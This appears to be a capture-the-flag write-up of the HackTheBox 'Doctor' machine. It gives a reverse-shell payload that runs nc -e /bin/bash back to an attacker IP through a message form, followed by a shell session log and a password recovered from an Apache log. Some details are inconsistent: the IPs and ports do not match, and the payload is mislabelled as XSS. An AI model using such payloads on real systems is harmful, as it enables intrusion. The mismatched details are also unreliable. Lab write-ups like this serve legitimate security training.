Dictor is a Linux machine from HackTheBox. A web application was hosted at this server which had the XSS vulnerability. The initial access was got when submitted a reverse shell XSS payload. A password changing record was found at the web server log, the user flag got.
Target Machine: 10.10.10.209
Attacker Machine: 10.10.14.16
Check Website Vulnerability
Check any hidden files/folders of the website
Check the website
Visit the website and read the page source, it was found that the doctor.htb should be included in the host table before further enumeration.
A login page was found by visiting the http://doctors.htb
Tried using gobuster and dirb to find another hidden fold, but the result is negative. Nikto also does not has any good news.
Finally, registered a user account and enumerate the inside. It was found that there was an XSS vulnerability at the POST message form.
After several tried, this payload was used to get the reverse shell
< img src = http://10.10.14.26:8888/$(nc.traditional$IFS-e$IFS/bin/bash$IFS ' 10.10.17.216 '$ IFS ' 6666 ')>
[email protected]:~/Documents/ctf/htb/linux/19-HTB-doctor# nc -nvlp 1234listening on [any] 6666 ...connect to [10.10.14.16] from (UNKNOWN) [10.10.10.209] 38714whoamiwebpython3 -c 'import pty;pty .spawn("/bin/bash")'[email protected]:~$ cd /home/[email protected]:/home$ lsshaun web[email protected]:/home$ cd shaun/[email protected]:/home/shaun$ lsuser.txt[email protected]:/home/ shaun$ cat user.txtcat: user.txt: Permission denied[email protected]:/home/shaun$
After the user account "Shaun" was found that saved the user.txt, focusing the enumeration of this account. Finally, visited the apache2 log, there was a password reset process of this account Shaun was found at the acess.log. The password of this user account shaun is Guitar123
sudo this user account, the user flag was found.